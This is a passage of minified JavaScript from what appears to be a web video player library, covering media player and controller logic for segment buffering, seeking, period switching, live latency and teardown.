this.isLive()&&!this.settings.ENABLE_SEEK_FOR_LIVE||!this.playerController?{start:-1,end:-1}:this.playerController.getSeekableRange()},n.prototype.createManifestApi=function(){return g.MediaPlayerManifestApiFactory.create(this,this.context)},n.prototype.handleDvrWindowExceeded=function(){var n=this.playerController.getTimeShiftHandler(),t=this.getMaxTimeShift()+n.getMinSegmentDuration(),r=n.calculatePlaybackTimeForTimeShiftOffset(t),i=n.isTimeInBufferedRange(r);this.context.logger.debug("Handling DVRWindowExceeded - TimeShifting to ".concat(i?t:"live edge"));this.timeShift(i?t:0)},n.prototype.getLatency=function(){return this.liveLatencyService.getLatency()},n.prototype.setTargetLatency=function(n){var t=Math.abs(this.manifestService.getTimeShiftBufferDepthSeconds());n>t&&(n=t,this.logger.debug("Tried to set target latency outside DVR window, corrected to lower bound",t));this.context.eventHandler.dispatchEvent(u.PlayerEvent.TargetLatencyChanged,{from:this.liveLatencyService.getTargetLatency(),to:n});this.liveLatencyService.setTargetLatency(n)},n.prototype.getTargetLatency=function(){return this.liveLatencyService.getTargetLatency()},n.prototype.setCatchupConfig=function(n){this.liveLatencyService.setCatchupConfig(n)},n.prototype.getCatchupConfig=function(){return this.liveLatencyService.getCatchupConfig()},n.prototype.setFallbackConfig=function(n){this.liveLatencyService.setFallbackConfig(n)},n.prototype.getFallbackConfig=function(){return this.liveLatencyService.getFallbackConfig()},n.prototype.release=function(n){var t=this;return this.eventHandler.off(u.PlayerEvent.PeriodSwitch,this.onPeriodSwitch),this.eventHandler.off(u.PlayerEvent.PeriodSwitched,this.fireAudioTracksAdded),this.eventHandler.off(u.PlayerEvent.PlaybackSpeedChanged,this.onPlaybackSpeedChanged),this.unsubscribeStorePlayingListener(),this.unload(n).then(function(){return t.playerStateService=null,t.playerController=et.dispose(t.playerController),t.disposeServices(n),t.renderer.release().then(function(){return t.renderer=null})})},n.prototype.clearStallEndedSubscription=function(){this.unsubscribeFromStallEnded&&(this.unsubscribeFromStallEnded(),this.unsubscribeFromStallEnded=void 0)},n.prototype.getCurrentPlayingPeriodId=function(){return kt.getPlayingPeriodId(this.getSourceStoreService().getState())},n.prototype.updateCallback=function(){},n.prototype.onFullscreenEnter=function(){},n.prototype.onFullscreenExit=function(){},n.prototype.isAirplayAvailable=function(){return!1},n.prototype.isAirplayActive=function(){return!1},n.prototype.showAirplayTargetPicker=function(){},n}();t.MediaPlayer=gt;t.checkIfGapSkip=ut},36366:function(n,t,i){function tt(n,t){return!nt.areAudioMimeCodecsCompatible({mimeType:n._mimeType,codec:o.getCodecsFromAdaptationSet(n)},{mimeType:t._mimeType,codec:o.getCodecsFromAdaptationSet(t)})}function it(n,t){var i=n.getPlaybackTimeRange();i&&t.dispatch(yt.removeStreamTimeRange(g.getTrackIdentifier(n.getSegmentInfo()),i,g.StreamTimeRangeType.Loading))}function bt(n){var i=n.getState(),t;return i?(t=v.getPlayerState(i).seekingProcess.issuer,t!==l.STARTUP_ISSUER_NAME&&""!==t):!1}Object.defineProperty(t,"__esModule",{value:!0});t.isBufferChangeRequired=t.MediaPlayerController=void 0;var u=i(18665),e=i(60997),c=i(62510),l=i(15539),f=i(33696),rt=i(76650),ut=i(17990),v=i(58975),y=i(63668),p=i(42055),a=i(3464),ft=i(42283),et=i(53968),r=i(79814),w=i(46462),s=i(91520),h=i(16368),ot=i(80858),st=i(29954),b=i(13034),o=i(94938),ht=i(96953),ct=i(22916),lt=i(58423),at=i(34268),k=i(4053),vt=i(77874),d=i(58211),yt=i(59839),g=i(22645),pt=i(21918),nt=i(75498),wt=function(){function n(n,t){var i=this;this.segmentControllerMap={};this.onSegmentAvailable=function(n){if(i.clearBuffersPromise)it(n,i.getSourceStore());else{if(i.drmKidErrorHandler.trackSegment(n),i.shouldDropSegment(n))return i.context.logger.debug("Dropping segment ".concat(n.getUrl())),void it(n,i.getSourceStore());var t=n.getMimeType(),u=i.getTimestampOffset(t),r=i.segmentControllerMap[t];r&&i.isAVMultiplexed(r)&&i.addRequiredMediaTypesForMuxedContent(n.getPeriodId());i.bufferController.updateMediaType(n.getPeriodId(),{mimeType:t,timestampOffset:u,codec:n.getCodec()});i.bufferController.addSegment(n).then(function(){i.heartbeatService&&i.heartbeatService.beat()}).catch(function(n){i.logger&&i.logger.debug(n)});i.segmentAvailableCallback(n)}};this.endStallAtGap=function(){var n=i.bufferController.getBufferedRangesMap(i.periodSwitchTracker.getCurrentPlayingPeriodId()),t=Math.max.apply(Math,Object.values(n).filter(function(n){return n.length>0}).map(function(n){return n[n.length-1].start}));i.seek(t,!1,!0)};this.mpdAvailableHandler=function(){var n;i.applyManifestTimings();i.initialized&&i.updatePeriodInformation();i.handleDroppedOutPeriods();i.initializeThumbnails();i.initialized&&i.getAllSegmentControllers().forEach(function(n){return n.updateMpd()});null===(n=i.timeshiftHandler)||void 0===n||n.onManifestUpdate();i.context.serviceManager.get(u.ServiceName.TimedMetadataService).parseEventStream()};this.onPeriodSwitched=function(){(i.hasStreamEnded()||i.isInitialized()&&!i.playerStateService.isPlaying())&&i.start()};this.onSegmentRequestFinished=function(n){if(n){if(n.success||408===n.httpStatus){var t=i.segmentControllerMap[n.mimeType];t&&i.updateAdaptationLogicData(n,t)}n.success||i.heartbeatService.beat()}};this.firePlaybackFinishedEvent=function(){i.getAllSegmentControllers().every(function(n){var t=i.streamTimeService.getTimeForNextSegment(n.getMimeType());return n.hasNext(t)})?i.logger.debug("ignoring ended event in firePlaybackFinishedEvent as there are more segments available"):i.manifestService.isLastPeriod(i.periodSwitchTracker.getCurrentPlayingPeriodId())?i.bufferController.hasFutureBufferBlockData()||(i.stop(),i.logger.debug("Stopping buffer controller"),i.bufferController.stop(!0),i.playerStateService.transitionToStoppedState()):i.logger.debug("ignoring ended event in firePlaybackFinishedEvent as there is a future period")};this.context=n;this.logger=n.logger;this.settings=n.settings;this.bufferSettings=n.bufferSettings;this.eventHandler=n.eventHandler;this.renderer=n.renderer;this.segmentAvailableCallback=t;this.initialized=!1;this.initPromise=null;this.mimeTypes={};this.seekCounter=0;this.eosSignaled=!1;this.isSwitchingAudioTrack=!1}return n.prototype.addRequiredMediaTypesForMuxedContent=function(n){this.bufferController.addRequiredMediaType(n,"video/mp4");this.bufferController.addRequiredMediaType(n,"audio/mp4")},n.prototype.getTimestampOffset=function(n){var i,u=this,t=this.segmentControllerMap[n];return!t&&r.MimeTypeHelper.isAV(n)&&(t=Object.keys(this.segmentControllerMap).filter(function(n){return r.MimeTypeHelper.isAV(n)}).map(function(n){return u.segmentControllerMap[n]}).filter(function(n){return u.isAVMultiplexed(n)}).shift()),null!==(i=null==t?void 0:t.getMPDHandler().getTimestampOffset())&&void 0!==i?i:0},n.prototype.restorePlaybackPositionAfterDownloadedRepresentationWasExcluded=function(){var i=this,n=this.manifestService.isLive(),t=n?this.getTimeShift():this.renderer.getCurrentTime();n?this.timeShift(t,function(){},!0).catch(function(n){return i.context.logger.debug("TimeShift failed",n)}):this.seek(t,!1,!1,!0)},n.prototype.onDownloadedRepresentationExcluded=function(){this.restorePlaybackPositionAfterDownloadedRepresentationWasExcluded();this.context.logger.debug("manifest update interrupted by DRM key status change")},n.prototype.shouldDropSegment=function(n){var t=r.MimeTypeHelper.isSubtitle(n.getMimeType()),i=this.context.sourceContext.technology.streaming===f.StreamType.Hls,u=p.getStartTimeOffset(this.getSourceStore().getState())+this.manifestService.getDuration(),e=this.isVod()&&n.getPlaybackTime()>=u,o=this.eosSignaled||e,s=this.manifestService.isRepresentationExcluded(n.getRepresentationId());return!t&&!i&&o||s},n.prototype.getSourceStore=function(){return this.context.serviceManager.get(u.ServiceName.SourceStoreService,this.context.sourceContext.sourceIdentifier)},n.prototype.isAVMultiplexed=function(n){var t=ft.CodecStringHelper.getExtractedCodecStrings(n.getCodecs());return Boolean(t.video&&t.audio)},n.prototype.getMaxTimeShift=function(){return this.getTimeShiftHandler().getMaxTimeShift()},n.prototype.removeEventHandlers=function(){this.eventHandler.off(c.PlayerEvent.SegmentRequestFinished,this.onSegmentRequestFinished)},n.prototype.subscribeToSeekProcess=function(){var t=this,n=this.context.store;!this.unsubscribeFromSeekProcess&&n&&(this.unsubscribeFromSeekProcess=a.subscribe(n)(function(n){if(n)return v.getPlayerState(n).seekingProcess},function(n,i){return n&&i&&t.onSeekProcessChange(n,i)}))},n.prototype.subscribeToManifestChanges=function(){var n=this.getSourceStore();!this.unsubscribeFromManifestStore&&n&&(this.unsubscribeFromManifestStore=a.subscribe(n)(vt.getManifest,this.mpdAvailableHandler,function(n,t){return n.isInitialized&&!t.isInitialized}))},n.prototype.unsubscribeFromManifestChanges=function(){this.unsubscribeFromManifestStore&&(this.unsubscribeFromManifestStore(),this.unsubscribeFromManifestStore=null)},n.prototype.subscribeToPlayingTracksChanges=function(){var n=this.getSourceStore();!this.unsubscribeFromPlayingTracksStore&&n&&(this.unsubscribeFromPlayingTracksStore=a.subscribe(n)(d.getPlayingTracksState,this.onPeriodSwitched,d.wasSwitchingToPeriodIdReset))},n.prototype.unsubscribeFromPlayingTracksChanges=function(){this.unsubscribeFromPlayingTracksStore&&(this.unsubscribeFromPlayingTracksStore(),this.unsubscribeFromPlayingTracksStore=void 0)},n.prototype.setupControllerForAdaptationSet=function(n){var i,u,t=o.getMimeTypeForAdaptationSet(n),f;r.MimeTypeHelper.isAV(t)&&(this.context.store.dispatch(rt.initializeMetricsForMimeType(t,this.context.settings)),this.getSourceStore().dispatch(k.setMediaTypeAction(n._internalId,ct.resolveMediaTypes(n))),this.mimeTypes[t]=o.getCodecsFromAdaptationSet(n),f=this.periodSwitchTracker.getCurrentPlayingPeriodId(),this.segmentControllerMap[t]=new lt.SegmentController(this.context,this.onSegmentAvailable,t,this.mimeTypes[t],n.isTransmuxingRequired,this.manifestLoader,null!==(i=n._periodId)&&void 0!==i?i:f,this.getSourceStore()),null===(u=this.timeshiftHandler)||void 0===u||u.updateSegmentControllers(this.segmentControllerMap),this.transmuxer&&this.segmentControllerMap[t].setTransmuxer(this.transmuxer),f&&this.renderer.storeDrmInitDataFromManifest(n),this.context.segmentInfoService&&this.context.segmentInfoService.setSegmentControllers(Object.values(this.segmentControllerMap)))},n.prototype.updatePeriodForTimeshift=function(n,t,i){var r=this.periodSwitchTracker.getCurrentPlayingPeriodId();r||(this.periodSwitchTracker.setCurrentPlayingPeriodId(n),this.bufferController.setInitialPeriod(n));this.periodSwitchTracker.getCurrentLoadingPeriodId()!==n&&i&&this.switchLoadingPeriodForAllMedia(n);t&&r!==n&&(this.context.logger.debug("Updating current playing period to ".concat(n)),this.periodSwitchTracker.setCurrentPlayingPeriodId(n))},n.prototype.updateVideoAndAudioMediaTypes=function(n){var i=n.AdaptationSet.find(function(n){return r.MimeTypeHelper.isVideo(n._mimeType)}),t;i&&this.bufferController.addRequiredMediaType(n._id,i._mimeType);t=n.AdaptationSet.find(function(n){return r.MimeTypeHelper.isAudio(n._mimeType)});t&&this.bufferController.addRequiredMediaType(n._id,t._mimeType)},n.prototype.updateSubtitleMediaTypes=function(n){var t=this;n.AdaptationSet.filter(function(n){return r.MimeTypeHelper.isSubtitle(n._mimeType)}).forEach(function(i){t.bufferController.addRequiredMediaType(n._id,i._mimeType)})},n.prototype.updateMediaTypes=function(n){this.updateVideoAndAudioMediaTypes(n);this.updateSubtitleMediaTypes(n)},n.prototype.updatePeriodInformation=function(){var n=this;this.manifestService.getAllPeriods().forEach(function(t){n.updateMediaTypes(t);n.bufferController.checkIfEndOfBufferReached(n.settings.END_OF_BUFFER_TOLERANCE)})},n.prototype.finishInit=function(){var n=this;return this.initPromise?this.initPromise:!0===this.initialized||null===this.manifestService.getManifest()?this.initPromise=Promise.resolve():(this.disposeSegmentControllers(),this.mimeTypes={},this.initPromise=this.renderer.ready().then(function(){return n.initializeDependents()}))},n.prototype.disposeSegmentControllers=function(){var n=this;this.segmentControllerMap&&(Object.keys(this.segmentControllerMap).forEach(function(t){return n.segmentControllerMap[t].dispose()}),this.segmentControllerMap={})},n.prototype.createTransmuxer=function(){var n=this,t;s.ModuleManager.has(h.ModuleName.ContainerTS)&&(t=s.ModuleManager.get(h.ModuleName.ContainerTS),this.getAllSegmentControllers().filter(function(n){return n.isTransmuxerRequired()}).forEach(function(i){n.transmuxer=n.transmuxer||new t.WebWorkerTransmuxer(n.context,n.hasSeparateAudioPlaylist());i.setTransmuxer(n.transmuxer)}),this.subtitleService&&this.subtitleService.setTransmuxer(this.transmuxer))},n.prototype.hasSeparateAudioPlaylist=function(){return this.getAllSegmentControllers().some(function(n){return r.MimeTypeHelper.isAudio(n.getMimeType())})},n.prototype.initializeDependents=function(){this.periodSwitchTracker.setInitialPeriod();this.initializeBufferController();this.updatePeriodInformation();var n=this.periodSwitchTracker.getCurrentPlayingPeriod()||this.manifestService.getFirstPeriod();n&&this.initializeSegmentControllers(n);this.enableForcedSubtitles();this.createTransmuxer();this.initialized=!0},n.prototype.enableForcedSubtitles=function(){var n,t,i,r,u=this.getAudioSegmentController(),f;this.subtitleService&&(f=null!==(i=null===(t=null===(n=null==u?void 0:u.getCurrentLangObj)||void 0===n?void 0:n.call(u))||void 0===t?void 0:t.lang)&&void 0!==i?i:null===(r=b.getPreferredLanguage("audio/mp4"))||void 0===r?void 0:r.language,this.subtitleService.enableForcedSubtitle(f))},n.prototype.initializeSegmentControllers=function(n){var t,i=this;this.maybeConsiderOnlyMuxedAVSet(null!==(t=null==n?void 0:n.AdaptationSet)&&void 0!==t?t:[]).forEach(function(n){return i.createSegmentControllerIfMediaTypeIsMissing(n)})},n.prototype.maybeConsiderOnlyMuxedAVSet=function(n){var u,f,e,o=n.find(function(n){return r.MimeTypeHelper.isAudio(n._mimeType)}),i=n.find(function(n){return r.MimeTypeHelper.isVideo(n._mimeType)}),h=(null!==(f=null===(u=null==i?void 0:i.ContentComponent)||void 0===u?void 0:u.length)&&void 0!==f?f:0)>1,t,s;return!o||!i||!h?n:(t=b.getHlsDefaultLanguage(o._mimeType,this.getSourceStore().getState()),s=null===(e=i.ContentComponent)||void 0===e?void 0:e.find(function(n){return n._lang===(null==t?void 0:t.language)&&n._id===(null==t?void 0:t.name)}),t&&s?[i]:n)},n.prototype.createSegmentControllerIfMediaTypeIsMissing=function(n){var t=o.getMimeTypeForAdaptationSet(n);r.isMediaTypeContained(this.mimeTypes,t)||this.setupControllerForAdaptationSet(n)},n.prototype.initializeBufferController=function(){this.bufferController=new ot.BufferController(this.context,this.endStallAtGap,this.manifestService.getTotalDuration(),this.periodSwitchTracker.getCurrentPlayingPeriodId())},n.prototype.getBufferLevel=function(n,t,i,r){return void 0===r&&(r=!0),this.bufferController?this.bufferController.getOverallBufferLevel(n,t,i,r):0},n.prototype.handleDroppedOutPeriods=function(){var n=this;this.periodSwitchTracker.shouldHandleDroppedOutPeriod()&&(this.periodSwitchTracker.isPlayingPeriodDroppedOut()?(this.logger.debug("Playing period dropped out of the manifest, timeshifting to current position"),this.timeShift(this.getTimeShift()).catch(function(t){return n.context.logger.debug("TimeShift failed",t)})):this.periodSwitchTracker.isLoadingPeriodDroppedOut()&&(this.logger.debug("Current loading period (".concat(this.periodSwitchTracker.getCurrentLoadingPeriodId(),") ")+"dropped out of the manifest, switching to first available one"),this.getAllSegmentControllers().forEach(function(n){return n.invalidateOngoingRequests()}),this.switchLoadingPeriodForAllMedia(this.manifestService.getFirstPeriod()._id)))},n.prototype.initializeThumbnails=function(){var n=this;this.context.serviceManager.maybeCall(u.ServiceName.ThumbnailService,function(t){n.context.sourceContext.source&&n.context.sourceContext.source.thumbnailTrack||t.addThumbnails(n.manifestService.getAllDashThumbnailSources())})},n.prototype.applyManifestTimings=function(){var r=this.manifestService.isLive(),t=this.context.serviceManager.get(u.ServiceName.StartOffsetService),i=this.manifestService.hasSuggestedStartPosition(),n;r?(n=this.manifestService.getTimeShiftBufferDepthSeconds(),0!==n&&(this.metadataParsedService.expirationTimeInSeconds=n),i&&(t.manifestStartOffset=this.manifestService.getLiveStartOffset(),this.adjustMaximumBufferLevel())):i&&(t.manifestStartOffset=this.manifestService.getVodStartOffset())},n.prototype.adjustMaximumBufferLevel=function(){var n=Math.abs(this.manifestService.getLiveStartOffset(!1)),t,i;n=n>0?n:this.manifestService.getMaxSegmentDuration();t=Math.min(n,this.bufferSettings.getForwardTargetLevel(f.MediaType.Video));i=Math.min(n,this.bufferSettings.getForwardTargetLevel(f.MediaType.Audio));this.bufferSettings.setMaximumBufferLevel(f.BufferType.ForwardDuration,t,f.MediaType.Video);this.bufferSettings.setMaximumBufferLevel(f.BufferType.ForwardDuration,i,f.MediaType.Audio)},n.prototype.terminate=function(){var t=this,n;return this.logger.debug("stopping playback"),this.stop(),this.getAllSegmentControllers().forEach(function(n){return n.stop()}),this.bufferController&&this.bufferController.stop(!0),this.transmuxer=e.dispose(this.transmuxer),this.timeshiftHandler=e.dispose(this.timeshiftHandler),this.drmKidErrorHandler=e.dispose(this.drmKidErrorHandler),e.dispose(this.periodSwitchTracker),this.cachedSeekableRange=null,this.renderer.off(w.MediaElementEvent.ended,this.firePlaybackFinishedEvent),n=this.renderer.shutdown().catch(function(n){return t.logger.debug("Got an error on shutdown",{message:n.message}),Promise.resolve()}),this.removeEventHandlers(),this.unsubscribeFromPlayingTracksChanges(),this.initialized=!1,this.periodSwitchTracker.setCurrentPlayingPeriodId(null),this.mimeTypes=null,this.context.store.dispatch(y.resetDrmKidErrors()),this.manifestService.resetExcludedRepresentations(),this.disposeSegmentControllers(),n},n.prototype.dispose=function(){this.timeshiftHandler=e.dispose(this.timeshiftHandler);this.bufferController=e.dispose(this.bufferController);e.dispose(this.periodSwitchTracker);try{this.removeEventHandlers()}catch(n){}this.unsubscribeFromManifestChanges();this.unsubscribeFromPlayingTracksChanges();this.disposeSegmentControllers();this.unsubscribeFromSeekProcess&&this.unsubscribeFromSeekProcess();this.subtitleService=null;this.heartbeatService=null;this.streamTimeService=null;this.segmentControllerMap=null;this.settings=null;this.bufferSettings=null;this.eventHandler=null;this.renderer=null;this.mimeTypes=null},n.prototype.acquireServices=function(){var n=this.context.sourceContext.sourceIdentifier;this.manifestService=this.context.serviceManager.get(u.ServiceName.ManifestService,n);this.playerStateService=this.context.serviceManager.get(u.ServiceName.PlayerStateService);this.subtitleService=this.context.serviceManager.get(u.ServiceName.SubtitleService);this.metadataParsedService=this.context.serviceManager.get(u.ServiceName.MetadataParsedService);this.manifestLoader=this.context.serviceManager.get(u.ServiceName.ManifestLoadingService,n);this.heartbeatService=this.context.serviceManager.get(u.ServiceName.HeartbeatService,n);this.streamTimeService=this.context.serviceManager.get(u.ServiceName.StreamTimeService);this.manifestUpdateScheduler=this.context.serviceManager.get(u.ServiceName.ManifestUpdateSchedulingService,n)},n.prototype.init=function(n){var t=this,i=this.getSourceStore();return this.periodSwitchTracker=new at.PeriodSwitchTracker(this.context),this.subscribeToPlayingTracksChanges(),this.subscribeToSeekProcess(),this.isAudioCatchingUp=!1,this.context.store.dispatch(y.resetDrmKidErrors()),this.acquireServices(),i&&!this.drmKidErrorHandler&&(this.drmKidErrorHandler=new st.DrmKidErrorHandler(this.context,function(){return t.onDownloadedRepresentationExcluded()})),this.renderer.on(w.MediaElementEvent.ended,this.firePlaybackFinishedEvent),(this.manifestUpdateScheduler.isInitiated()?Promise.resolve():this.manifestUpdateScheduler.init(n.url.toString())).then(function(){return t.subscribeToManifestChanges(),t.mpdAvailableHandler(),t.initialized?Promise.resolve():t.finishInit()})},n.prototype.stop=function(){this.logger.debug("Stopping main timer");this.heartbeatService.stop();this.initPromise=null;this.eventHandler.off(c.PlayerEvent.SegmentRequestFinished,this.onSegmentRequestFinished);this.unsubscribeFromManifestChanges()},n.prototype.isOneLoaderReady=function(){return this.getAllSegmentControllers().some(function(n){return n.canLoad()})},n.prototype.areAllLoadersReady=function(){return this.getAllSegmentControllers().every(function(n){return n.canLoad()})},n.prototype.isVod=function(){return!this.manifestService.isLive()},n.prototype.shouldStopDownloadWhenPaused=function(){return this.playerStateService.isPaused()&&this.settings.STOP_DOWNLOAD_ON_PAUSE&&this.manifestService.isLive()},n.prototype.shouldWaitForOtherMimeTypeDownload=function(n){var t=Object.keys(this.segmentControllerMap).find(function(t){return r.MimeTypeHelper.isAV(t)&&n!==t}),i,f,s;if(!t)return!1;if(this.isAudioCatchingUp)return r.MimeTypeHelper.isAudio(t);if(i=this.segmentControllerMap[t],f=this.streamTimeService.getTimeForNextSegment(t),t&&!i.hasDownloadError&&i.hasNext(f)){var e=this.getBufferRelevantTime(),o=this.getCurrentForwardBuffer(n,e),u=this.getCurrentForwardBuffer(t,e);return o===u?r.MimeTypeHelper.isVideo(t):(s=this.hasReachedTargetBufferLevel(t,u),o>u&&!s)}return i.getCurrentPeriodId()!==this.segmentControllerMap[n].getCurrentPeriodId()},n.prototype.hasReachedTargetBufferLevel=function(n,t){var i=r.MimeTypeHelper.getMediaType(n);return t>=this.bufferSettings.getForwardTargetLevel(i)},n.prototype.shouldEndOfStreamBeSignaled=function(){var t=this,n=this.getAllSegmentControllers(),i=this.bufferController.hasPendingSegments(),r=n.map(function(n){return n.getMimeType()}),u=n.some(function(n){return n.hasPendingSegments()}),f=r.some(function(n){return t.renderer.isDataBeingAppended(n)});return!u&&!i&&!f},n.prototype.shouldSuspendHeartbeat=function(){return!this.isOneLoaderReady()||this.shouldStopDownloadWhenPaused()||Boolean(this.clearBuffersPromise)||this.isSwitchingAudioTrack},n.prototype.getActiveSegmentControllers=function(){var n=this;return this.getAllSegmentControllers().filter(function(t){return n.isSegmentControllerActive(t)})},n.prototype.isSegmentControllerActive=function(n){var t=this.periodSwitchTracker.getCurrentLoadingPeriodId(),i=this.streamTimeService.getTimeForNextSegment(n.getMimeType());return n.canLoad()&&(n.hasNext(i)||n.hasPendingSegments(t))&&!this.shouldWaitForOtherMimeTypeDownload(n.getMimeType())},n.prototype.shouldClearSubtitleServiceBuffers=function(){return Boolean(this.subtitleService&&!this.playerStateService.seekingOrTimeshifting)},n.prototype.clearSubtitleServiceBuffers=function(){this.subtitleService.clearBuffersUntil(this.renderer.getCurrentTime()-10)},n.prototype.areMediaTypesFinalForPlayingPeriod=function(){var n=this.periodSwitchTracker.getCurrentPlayingPeriodId();return this.bufferController.areBufferBlockMediaTypesFinalForPeriod(n)},n.prototype.maybeStop=function(){var n=this.manifestService.isManifestFinalized(),t=this.manifestService.isLastPeriod(this.periodSwitchTracker.getCurrentLoadingPeriodId());n&&t&&(this.bufferController.stop(!1),this.shouldEndOfStreamBeSignaled()&&(this.signalEndOfStream(),this.stop()))},n.prototype.getNextSegment=function(n,t){if(n.canLoad()){var e=r.MimeTypeHelper.getMediaType(n.getMimeType()),i=this.bufferSettings.getForwardTargetLevel(e),f=this.getCurrentForwardBuffer(n.getMimeType(),this.getBufferRelevantTime());f>=i||(this.context.serviceManager.get(u.ServiceName.AdaptationService).addSample(n.getMimeType(),{bufferTargetLevel:i,bufferLevel:f}),n.hasNext(t)&&n.getNext(t))}},n.prototype.getBufferRelevantTime=function(){return this.playerStateService.seekingOrTimeshifting?this.playerStateService.targetPlaybackTime:this.renderer.getCurrentTime()},n.prototype.getCurrentForwardBuffer=function(n,t){return this.getBufferLevel(n,t,f.BufferType.ForwardDuration)},n.prototype.isLoadingLastPeriod=function(){return this.periodSwitchTracker.isLoadingLastPeriod()},n.prototype.switchLoadingPeriod=function(){var t;if(this.isAudioCatchingUp){var n=this.getAudioSegmentController(),i=n.getCurrentPeriodId(),r=this.manifestService.getNextPeriod(i)._id;this.switchLoadingPeriodForAudio(r);n.getCurrentPeriodId()===this.periodSwitchTracker.getCurrentLoadingPeriodId()&&(n.isTransmuxerRequired()&&n.getTransmuxer()&&(n.getTransmuxer().dispose(),n.setTransmuxer(this.transmuxer)),this.isAudioCatchingUp=!1,this.logger.debug("The audio SegmentController caught up to the overall loading period again."))}else t=this.manifestService.getNextPeriod(this.periodSwitchTracker.getCurrentLoadingPeriodId()),t&&this.switchLoadingPeriodForAllMedia(t._id)},n.prototype.switchLoadingPeriodForAllMedia=function(n){var t=this;n!==this.periodSwitchTracker.getCurrentLoadingPeriodId()&&(this.isAudioCatchingUp=!1,this.prepareLoadingPeriodSwitch(n),this.getAllSegmentControllers().filter(function(t){return t.getCurrentPeriodId()!==n}).forEach(function(i){i.switchPeriod(n);t.renderer.storeDrmInitDataFromManifest(i.getAdaptationSetForPeriodId(n))}),this.periodSwitchTracker.setCurrentLoadingPeriodId(n))},n.prototype.prepareLoadingPeriodSwitch=function(n){var t,i,r=this;(null!==(i=null===(t=this.manifestService.getPeriod(new ht.PeriodId(n)))||void 0===t?void 0:t.AdaptationSet)&&void 0!==i?i:[]).forEach(function(n){return r.createSegmentControllerIfMediaTypeIsMissing(n)});this.resetTransmuxer()},n.prototype.switchLoadingPeriodForAudio=function(n){var t=this.getAudioSegmentController(),i=t.getCurrentPeriodId();t.resetTransmuxer();t.switchPeriod(n);this.logger.debug("Switched audio loading period from ".concat(i," to ").concat(n))},n.prototype.isAVCompletelyLoaded=function(){var n=this.getAllSegmentControllers().some(function(n){return n.hasPendingSegments()})||this.bufferController.hasPendingSegments();return this.manifestService.isManifestFinalized()&&!n},n.prototype.getBufferedRanges=function(n){return void 0===n&&(n=!1),this.bufferController.getBufferedRangesMap(this.periodSwitchTracker.getCurrentPlayingPeriodId(),n)},n.prototype.resetTransmuxer=function(){this.transmuxer&&(this.transmuxer.dispose(),this.transmuxer=null);this.createTransmuxer()},n.prototype.restartBufferController=function(){this.bufferController.hasStopped()&&this.bufferController.restart()},n.prototype.shouldBuffersBeCleared=function(n,t,i){var r=n<this.renderer.getCurrentTime()&&this.context.settings.CLEAR_BUFFERS_ON_SEEKING_BACKWARDS;return!t&&(!this.bufferController.isInBufferedRange(n)||r)||i},n.prototype.onSeekProcessChange=function(n,t){var i,r,u;-1===n.targetTime&&t.targetTime>=0?null===(i=this.playerStateService)||void 0===i||i.transitionToSeekedState(t.issuer!==l.STARTUP_ISSUER_NAME):(r=n.targetTime!==t.targetTime,u=n.targetTime>=0,r&&u&&this.seek(n.targetTime,n.issuer===l.STARTUP_ISSUER_NAME))},n.prototype.seek=function(n,t,i,r){var u=this,o,e,s,f;(void 0===t&&(t=!1),void 0===i&&(i=!1),void 0===r&&(r=!1),this.bufferController)&&(this.restartBufferController(),this.seekCounter++,s=this.seekCounter,f=this.manifestService.getPeriodIdForTime(n),this.ensureInitialPeriod(f),this.logger.debug("seek from current period (".concat(this.periodSwitchTracker.getCurrentPlayingPeriodId(),") to target period ")+"(".concat(f,") - seek time in period is: ").concat(n)),this.bufferController.readyToSeek().then(function(){if(e=u.shouldBuffersBeCleared(n,i,r),o=u.periodSwitchTracker.getCurrentLoadingPeriodId()!==f&&e,e&&u.bufferController.isBufferAvailable())return u.clearBuffersPromise=u.clearBuffersOnSeek(),u.clearBuffersPromise}).then(function(){return u.clearBuffersPromise=null,u.initialized?(u.getAllSegmentControllers().forEach(function(n){return n.setAdaptionLogicStartupPhase()}),o&&u.switchLoadingPeriodForAllMedia(f),e&&u.getAllSegmentControllers().forEach(function(t){return t.seekTo(n)}),(t?Promise.resolve():u.start()).then(function(){u.heartbeatService.started&&u.heartbeatService.beat();u.bufferController.setCurrentTime(n).then(function(t){u.context.isDisposed||(u.seekCounter===s?(u.logger.debug("Successfully seeked to ".concat(t)),u.context.store.dispatch(ut.updateSeekingProcess({targetTime:-1,issuer:"",isInitial:!1}))):bt(u.context.store)&&u.context.logger.debug("Seek to ".concat(n," has finished but a newer operation has been started")))}).catch(function(n){u.logger.debug("Failed to set currentTime on seek",n)})})):(u.logger.debug("Aborting seek as MediaPlayerController has been terminated!"),Promise.resolve())}))},n.prototype.ensureInitialPeriod=function(n){var t=this;void 0===this.periodSwitchTracker.getCurrentPlayingPeriodId()&&(this.logger.debug("current period is undefined, using seek target period "+n),this.periodSwitchTracker.setCurrentPlayingPeriodId(n),this.resetTransmuxer(),this.getAllSegmentControllers().forEach(function(n){n.switchPeriod(t.periodSwitchTracker.getCurrentPlayingPeriodId());r.MimeTypeHelper.isAV(n.getMimeType())&&t.renderer.storeDrmInitDataFromManifest(n.getCurrentAdaptationSet())}),this.periodSwitchTracker.setCurrentLoadingPeriodId(this.periodSwitchTracker.getCurrentPlayingPeriodId()),this.bufferController.setInitialPeriod(n))},n.prototype.clearBuffersOnSeek=function(){var n=this;return this.eosSignaled=!1,this.getAllSegmentControllers().forEach(function(n){return n.cancelLoading()}),this.bufferController.setEndOfStream(!1).then(function(){return n.bufferController.clearBuffers()}).catch(function(){n.logger.debug("Failed to clear buffers on seek, carrying on regardless")})},n.prototype.getAllSegmentControllers=function(){return Object.values(this.segmentControllerMap||{})},n.prototype.getAudioSegmentController=function(){return this.getAllSegmentControllers().find(function(n){return r.MimeTypeHelper.isAudio(n.getMimeType())})},n.prototype.updateAdaptationLogicData=function(n,t){var i,e;if(!(n.isInit||!n.success&&this.playerStateService.seekingOrTimeshifting)){var o=r.MimeTypeHelper.getMediaType(t.getMimeType()),s=this.getBufferLevel(t.getMimeType(),this.renderer.getCurrentTime(),f.BufferType.ForwardDuration),h=this.bufferSettings.getForwardTargetLevel(o);null===(e=null===(i=this.context.serviceManager)||void 0===i?void 0:i.get(u.ServiceName.AdaptationService))||void 0===e||e.addSample(t.getMimeType(),{bufferTargetLevel:h,bufferLevel:s,segmentDuration:n.duration,segmentDownloadDuration:n.downloadTime,downloadCancelled:!n.success})}},n.prototype.signalEndOfStream=function(n){void 0===n&&(n=!0);this.isVod()&&(this.eosSignaled||(this.eosSignaled=!0,this.bufferController.setEndOfStream(!0),n&&this.stop()),this.bufferController.isStarted()&&this.bufferController.stop())},n.prototype.start=function(){var n=this;return 